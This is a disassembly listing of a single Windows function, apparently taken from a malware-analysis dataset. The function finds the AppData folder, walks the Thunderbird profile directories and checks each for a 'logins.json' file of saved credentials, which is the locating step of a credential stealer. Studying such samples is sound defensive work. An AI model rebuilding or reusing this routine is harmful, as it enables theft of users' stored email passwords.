Function at 0x180096e40
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x180126010]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r14, rcx
mov ecx, 0x104
call fcn.1800d5574
mov rbx, rax
test rax, rax
je 0x18009731a
xor r9d, r9d
mov qword [rsp + 0x280], rdi
xor r8d, r8d
mov qword [rsp + 0x288], r15
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r15d, r15d
mov qword [rbp - 0x28], 0xf
xor r8d, r8d
mov qword [rbp - 0x40], r15
lea rdx, [0x18010a500]
mov qword [rbp - 0x30], r15
lea rcx, [rbp - 0x40]
call fcn.1800bfba0
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
inc r8
cmp byte [rbx + r8], r15b
jne 0x180096ee2
mov rdx, rbx
mov qword [rsp + 0x278], rsi
lea rcx, [rbp - 0x60]
call fcn.1800bfba0
mov rcx, qword [rbp - 0x50]
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rcx
cmp rax, 0x16
jb 0x18009733b
cmp qword [rbp - 0x48], 0x10
lea rax, str.ThunderbirdProfiles_
mov qword [rsp + 0x30], 0x16
lea r9, [rbp - 0x60]
cmovae r9, qword [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.1800c27f0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180096f89
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180096f84
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009734d
call fcn.1800cd2cc
movups xmm1, xmmword [rbp - 0x10]
mov rax, rdi
movups xmm0, xmmword [rbp - 0x20]
movq rcx, xmm1
sub rax, rcx
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm1
cmp rax, 2
jb 0x180097341
cmp qword [rbp - 8], 0x10
lea rax, [0x180115238]
mov qword [rsp + 0x30], 2
lea r9, [rbp - 0x60]
cmovae r9, qword [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
call fcn.1800c27f0
cmp qword [rsp + 0x78], 0x10
lea rcx, [rsp + 0x60]
lea rdx, [rbp]
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdx, qword [rsp + 0x78]
mov rsi, rax
cmp rdx, 0x10
jb 0x18009703b
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097036
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097347
call fcn.1800cd2cc
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], r15b
nop
test byte [rbp], 0x10
je 0x180097231
mov qword [rbp - 0x20], r15
lea rax, [rbp + 0x2c]
mov qword [rbp - 0x10], r15
mov r8, 0xffffffffffffffff
mov qword [rbp - 8], 0xf
inc r8
cmp byte [rax + r8], r15b
jne 0x180097075
lea rdx, [rbp + 0x2c]
lea rcx, [rbp - 0x20]
call fcn.1800bfba0
lea rax, [rbp + 0x2c]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r15b
jne 0x180097096
mov rdx, qword [rbp - 0x50]
mov rax, rdi
sub rax, rdx
cmp rax, rcx
jb 0x180097335
cmp qword [rbp - 0x48], 0x10
lea rax, [rbp + 0x2c]
mov qword [rsp + 0x30], rcx
lea r9, [rbp - 0x60]
cmovae r9, qword [rbp - 0x60]
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
call fcn.1800c27f0
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp - 0x80]
call fcn.1800bf270
lea rcx, [rsp + 0x40]
lea rdx, [0x180115130]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call fcn.1800d8f08
test rax, rax
je 0x180097140
mov rcx, rax
call fcn.1800d8f98
mov bl, 1
jmp 0x180097142
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18009717f
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009717a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097353
call fcn.1800cd2cc
mov rdx, qword [rbp - 0x68]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x1800971cd
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800971c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097353
call fcn.1800cd2cc
test bl, bl
je 0x1800971f6
lea rax, [rbp + 0x2c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1800971e0
lea rdx, [rbp + 0x2c]
lea rcx, [rbp - 0x40]
call fcn.1800bfba0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180097231
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009722c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009734d
call fcn.1800cd2cc
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180097050
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x30]
sub rdi, rcx
cmp rdi, rdx
jb 0x18009733b
cmp qword [rbp - 0x48], 0x10
lea r9, [rbp - 0x60]
mov qword [rsp + 0x30], rdx
lea rax, [rbp - 0x40]
cmovae r9, qword [rbp - 0x60]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov rcx, r14
call fcn.1800c27f0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800972c8
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800972c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009734d
call fcn.1800cd2cc
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1800972ff
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800972fa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009734d
call fcn.1800cd2cc
mov rsi, qword [rsp + 0x278]
mov rax, r14
mov rdi, qword [rsp + 0x280]
mov r15, qword [rsp + 0x288]
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.1800cd010
add rsp, 0x250
pop r14
pop rbx
pop rbp
ret
call fcn.180088c60
int3
call fcn.180088c60
int3
call fcn.180088c60
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3